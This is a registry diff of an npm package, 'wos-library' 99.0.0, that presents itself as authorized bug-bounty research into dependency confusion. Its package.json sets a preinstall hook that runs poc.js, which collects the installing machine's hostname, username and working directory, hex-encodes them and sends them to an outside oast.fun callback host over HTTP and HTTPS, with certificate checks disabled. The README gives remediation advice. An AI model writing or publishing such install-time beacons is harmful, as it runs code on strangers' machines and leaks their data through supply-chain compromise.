wos-library 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +34 -0
- package/index.js +19 -0
- package/package.json +16 -0
- package/poc.js +42 -0
package/README.md
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
# wos-library - Security Research
|
|
2
|
+
|
|
3
|
+
## Purpose
|
|
4
|
+
|
|
5
|
+
This package was published as part of **authorized security research** on the [Inditex HackerOne Bug Bounty Program](https://hackerone.com/inditex).
|
|
6
|
+
|
|
7
|
+
It demonstrates that the internal package name `wos-library` (used in Inditex's Warehouse Operations System) was unclaimed on the public npm registry, making it vulnerable to **dependency confusion** attacks.
|
|
8
|
+
|
|
9
|
+
## What This Package Does
|
|
10
|
+
|
|
11
|
+
During `preinstall`, it sends a **single DNS/HTTP callback** to a researcher-controlled server containing:
|
|
12
|
+
- The package name and version
|
|
13
|
+
- The hostname and username of the installing machine
|
|
14
|
+
- The current working directory
|
|
15
|
+
|
|
16
|
+
**No malicious actions are performed.** No data is exfiltrated beyond the above identifiers needed to prove code execution context.
|
|
17
|
+
|
|
18
|
+
## If You Installed This Unexpectedly
|
|
19
|
+
|
|
20
|
+
Your build system pulled this package from the public npm registry instead of your private/internal registry. This means:
|
|
21
|
+
1. Your `.npmrc` or build configuration does not properly pin `wos-library` to your private registry
|
|
22
|
+
2. An attacker could have published a malicious version that would execute arbitrary code in your CI/CD pipeline
|
|
23
|
+
|
|
24
|
+
## Remediation
|
|
25
|
+
|
|
26
|
+
- Reserve this package name on npm (transfer ownership to your organization)
|
|
27
|
+
- Configure per-scope registry pinning in `.npmrc`: `@inditex:registry=https://your-private-registry/`
|
|
28
|
+
- Use scoped package names for all internal packages (e.g., `@inditex/wos-library`)
|
|
29
|
+
- Commit lockfiles and enable integrity checking
|
|
30
|
+
|
|
31
|
+
## Contact
|
|
32
|
+
|
|
33
|
+
- Researcher: sidhant (HackerOne)
|
|
34
|
+
- Program: Inditex Bug Bounty (HackerOne)
|
package/index.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* wos-library - Security Research PoC
|
|
3
|
+
*
|
|
4
|
+
* This package was published as part of authorized security research
|
|
5
|
+
* demonstrating a dependency confusion vulnerability.
|
|
6
|
+
*
|
|
7
|
+
* If this package was installed in your environment unexpectedly,
|
|
8
|
+
* it means your build system is vulnerable to dependency confusion attacks.
|
|
9
|
+
*
|
|
10
|
+
* Contact: security@inditex.com
|
|
11
|
+
* HackerOne Program: Inditex
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
module.exports = {
|
|
15
|
+
name: 'wos-library',
|
|
16
|
+
version: '99.0.0',
|
|
17
|
+
type: 'security-research-poc',
|
|
18
|
+
message: 'This is a dependency confusion proof of concept. No malicious actions are performed. Only a DNS/HTTP callback is triggered during preinstall to prove code execution.'
|
|
19
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "wos-library",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research - dependency confusion proof of concept. This package demonstrates that the name 'wos-library' was unclaimed on the public npm registry while being used internally by Inditex. If you received this package unexpectedly, please contact security@inditex.com. Author: sidhant (HackerOne researcher).",
|
|
5
|
+
"keywords": ["security-research", "dependency-confusion", "poc"],
|
|
6
|
+
"author": "sidhant <security-researcher>",
|
|
7
|
+
"license": "ISC",
|
|
8
|
+
"repository": {
|
|
9
|
+
"type": "git",
|
|
10
|
+
"url": "https://github.com/user/dependency-confusion-poc"
|
|
11
|
+
},
|
|
12
|
+
"scripts": {
|
|
13
|
+
"preinstall": "node poc.js"
|
|
14
|
+
},
|
|
15
|
+
"main": "index.js"
|
|
16
|
+
}
|
package/poc.js
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
const CALLBACK_HOST = 'csytkgaubytabdgcvgljmgf8o1uj876pg.oast.fun';
|
|
7
|
+
const PKG_NAME = 'wos-library';
|
|
8
|
+
const PKG_VERSION = '99.0.0';
|
|
9
|
+
|
|
10
|
+
function safeGet(fn) {
|
|
11
|
+
try { return fn(); } catch (e) { return 'unknown'; }
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
const data = [
|
|
15
|
+
'depconf',
|
|
16
|
+
PKG_NAME,
|
|
17
|
+
PKG_VERSION,
|
|
18
|
+
safeGet(() => os.hostname()),
|
|
19
|
+
safeGet(() => os.userInfo().username),
|
|
20
|
+
safeGet(() => path.resolve('.')),
|
|
21
|
+
].join('|');
|
|
22
|
+
|
|
23
|
+
const encoded = Buffer.from(data).toString('hex');
|
|
24
|
+
|
|
25
|
+
const callbackUrl = `http://${encoded}.${CALLBACK_HOST}`;
|
|
26
|
+
|
|
27
|
+
try {
|
|
28
|
+
const req = http.get(callbackUrl, { timeout: 5000 }, (res) => {
|
|
29
|
+
res.resume();
|
|
30
|
+
});
|
|
31
|
+
req.on('error', () => {});
|
|
32
|
+
req.on('timeout', () => req.destroy());
|
|
33
|
+
} catch (e) {}
|
|
34
|
+
|
|
35
|
+
try {
|
|
36
|
+
const dnsUrl = `https://${encoded}.${CALLBACK_HOST}`;
|
|
37
|
+
const req = https.get(dnsUrl, { timeout: 5000, rejectUnauthorized: false }, (res) => {
|
|
38
|
+
res.resume();
|
|
39
|
+
});
|
|
40
|
+
req.on('error', () => {});
|
|
41
|
+
req.on('timeout', () => req.destroy());
|
|
42
|
+
} catch (e) {}
|